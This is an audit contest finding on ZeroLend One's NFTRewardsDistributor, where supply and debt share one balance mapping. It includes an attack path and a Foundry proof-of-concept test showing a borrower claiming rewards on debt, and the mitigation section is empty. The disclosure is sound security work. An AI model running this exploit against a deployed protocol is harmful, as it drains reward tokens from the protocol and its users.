Blunt Lime Shark

High

# Incorrect Balance Tracking for Rewards leading to claiming rewards using Debt in NFTRewardsDistributor

### Summary

The 'NFTRewardsDistributor.sol' contract contains a critical vulnerability in its balance tracking mechanism for rewards. The contract uses the same mapping (_balances) to track both supply and debt balances for each asset and position. This flawed implementation allows users to claim rewards based on their debt balances, leading to potential exploitation of the reward system.
In the _handleSupplies and _handleDebt functions, both supply and debt balances are updated in the same _balances mapping:
https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/positions/NFTRewardsDistributor.sol#L165-L183

The vulnerability arises because the reward calculation functions, such as earned(), do not distinguish between supply and debt balances:
https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/positions/NFTRewardsDistributor.sol#L98-L102

### Root Cause

In NFTRewardsDistributor.sol:165-171 and NFTRewardsDistributor.sol:175-181, the choice to use a single mapping _balances for both supply and debt balances is a mistake as it fails to distinguish between assets and liabilities when calculating rewards.

### Internal pre-conditions

None

### External pre-conditions

None

### Attack Path

1. Attacker supplies token A assets to a pool.
2. Attacker borrows token B assets from the pool
3. The _handleDebt function updates the _balances mapping with the borrowed amount.
4. After time passes, attacker calls getReward() function with the asset Hash of the debt token.
5. When calculating rewards using the earned function, the contract includes the debt balance in the calculation.
6. Attacker claims inflated rewards based on their total balance, which incorrectly includes their debt.

### Impact

This vulnerability allows users to artificially inflate their reward earnings by borrowing assets. Since debt balances are treated the same as supply balances for reward calculations, users can claim rewards based on their borrowed amounts, effectively earning rewards on liabilities rather than just on their supplied assets. This can lead to a drain of reward tokens from the contract, potentially destabilizing the entire reward system and causing significant financial losses to the protocol.

### PoC

```solidity
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.19;

import {Pool} from '../../../../contracts/core/pool/Pool.sol';

import {MintableERC20} from '../../../../contracts/mocks/MintableERC20.sol';
import {Test} from '../../../../lib/forge-std/src/Test.sol';
import {DataTypes} from 'contracts/core/pool/configuration/DataTypes.sol';
import {NFTPositionManager} from 'contracts/core/positions/NFTPositionManager.sol';
import {INFTPositionManager} from 'contracts/interfaces/INFTPositionManager.sol';
import {NFTErrorsLib} from 'contracts/interfaces/errors/NFTErrorsLib.sol';
import {NFTEventsLib} from 'contracts/interfaces/events/NFTEventsLib.sol';
import {DeployNFTPositionManager} from 'test/forge/core/positions/DeployNFTPositionManager.t.sol';
import {console as console99} from "hardhat/console.sol";

contract NFTPostionManagerTest is DeployNFTPositionManager {
    address alice = address(1);
    address bob = address(2);
    uint256 constant BORROW_AMOUNT = 30 ether;
    uint256 constant REWARD_AMOUNT = 10 ether;

    function setUp() public {
        _setUpPool();
        _setup();
    }

    function testEarnRewardsOnDebtAndDeposit() external {
        _setupAliceAndBob();
        _distributeRewards();
        vm.warp(block.timestamp+10 days);
        vm.roll(block.number+1);
        (uint256 aliceRewardsEarned, uint256 bobRewardsEarned) = _checkEarnedRewards();
        (uint256 aliceRewardsClaimed, uint256 bobRewardsClaimed) = _claimAndCheckRewards();

        _logRewards(aliceRewardsEarned, aliceRewardsClaimed, bobRewardsEarned, bobRewardsClaimed);
    }

 function testShouldSupplyAlice() public {
    uint256 mintAmount = 100 ether;
    uint256 supplyAmount = 50 ether;
    uint256 tokenId = 1;

    DataTypes.ExtraData memory data = DataTypes.ExtraData(bytes(''), bytes(''));
    INFTPositionManager.AssetOperationParams memory params =
      INFTPositionManager.AssetOperationParams(address(tokenA), alice, supplyAmount, tokenId, data);

    _mintAndApprove(alice, tokenA, mintAmount, address(nftPositionManager));

    vm.startPrank(alice);
    nftPositionManager.mint(address(pool));
    vm.expectEmit(true, true, true, true);
    emit NFTEventsLib.Supply(address(tokenA), 1, supplyAmount);
    nftPositionManager.supply(params);

    INFTPositionManager.Position memory position = nftPositionManager.positions(1);

    assertEq(position.pool, address(pool));
    assertEq(position.operator, address(0));

    vm.stopPrank();
  }


    function _setupAliceAndBob() internal {
        testShouldSupplyAlice();
        _aliceBorrows();
        _bobDeposits();
    }

    function _aliceBorrows() internal {
        DataTypes.ExtraData memory data = DataTypes.ExtraData(bytes(''), bytes(''));
        INFTPositionManager.AssetOperationParams memory borrowParams =
            INFTPositionManager.AssetOperationParams(address(tokenA), alice, BORROW_AMOUNT, 1, data);

        vm.startPrank(alice);
        nftPositionManager.borrow(borrowParams);
        vm.stopPrank();
    }

    function _bobDeposits() internal {
        _mintAndApprove(bob, tokenA, BORROW_AMOUNT, address(nftPositionManager));
        vm.startPrank(bob);
        nftPositionManager.mint(address(pool));
        DataTypes.ExtraData memory data = DataTypes.ExtraData(bytes(''), bytes(''));
        INFTPositionManager.AssetOperationParams memory depositParams =
            INFTPositionManager.AssetOperationParams(address(tokenA), bob, BORROW_AMOUNT, 2, data);
        nftPositionManager.supply(depositParams);
        vm.stopPrank();
    }

    function _distributeRewards() internal {
        vm.warp(block.timestamp + 1 days);

        bytes32 REWARDS_ALLOCATOR_ROLE = keccak256("REWARDS_ALLOCATOR_ROLE");
        vm.startPrank(address(owner));
        nftPositionManager.grantRole(REWARDS_ALLOCATOR_ROLE, address(owner));
        rewardsToken.mint(address(owner), REWARD_AMOUNT * 2);
        rewardsToken.approve(address(nftPositionManager), REWARD_AMOUNT * 2);
        
        nftPositionManager.notifyRewardAmount(REWARD_AMOUNT, address(pool), address(tokenA), true);
        nftPositionManager.notifyRewardAmount(REWARD_AMOUNT, address(pool), address(tokenA), false);
        vm.stopPrank();
    }

    function _checkEarnedRewards() internal view returns (uint256 aliceRewardsEarned, uint256 bobRewardsEarned) {
        bytes32 debtAssetHash = nftPositionManager.assetHash(address(pool), address(tokenA), true);
        bytes32 depositAssetHash = nftPositionManager.assetHash(address(pool), address(tokenA), false);

        aliceRewardsEarned = nftPositionManager.earned(1, debtAssetHash);
        bobRewardsEarned = nftPositionManager.earned(2, depositAssetHash);

        assertGt(aliceRewardsEarned, 0, "No rewards earned on debt");
        assertGt(bobRewardsEarned, 0, "No rewards earned on deposit");
    }

    function _claimAndCheckRewards() internal returns (uint256 aliceRewardsClaimed, uint256 bobRewardsClaimed) {
        (aliceRewardsClaimed, bobRewardsClaimed) = _claimRewards();

        assertGt(aliceRewardsClaimed, 0, "Alice received no rewards");
        assertGt(bobRewardsClaimed, 0, "Bob received no rewards");
    }

    function _claimRewards() internal returns (uint256 aliceRewardsClaimed, uint256 bobRewardsClaimed) {
        bytes32 debtAssetHash = nftPositionManager.assetHash(address(pool), address(tokenA), true);
        bytes32 depositAssetHash = nftPositionManager.assetHash(address(pool), address(tokenA), false);

        vm.startPrank(alice);
        uint256 aliceBalanceBefore = rewardsToken.balanceOf(alice);
        nftPositionManager.getReward(1, debtAssetHash);
        aliceRewardsClaimed = rewardsToken.balanceOf(alice) - aliceBalanceBefore;
        vm.stopPrank();

        vm.startPrank(bob);
        uint256 bobBalanceBefore = rewardsToken.balanceOf(bob);
        nftPositionManager.getReward(2, depositAssetHash);
        bobRewardsClaimed = rewardsToken.balanceOf(bob) - bobBalanceBefore;
        vm.stopPrank();
    }

    function _logRewards(uint256 aliceEarned, uint256 aliceClaimed, uint256 bobEarned, uint256 bobClaimed) internal view {
        console99.log("Alice's rewards earned on debt:", aliceEarned);
        console99.log("Alice's rewards claimed:", aliceClaimed);
        console99.log("Bob's rewards earned on deposit:", bobEarned);
        console99.log("Bob's rewards claimed:", bobClaimed);
    }


}

```
[Staking POC.zip](https://github.com/user-attachments/files/16881499/Staking.POC.zip)




### Mitigation

_No response_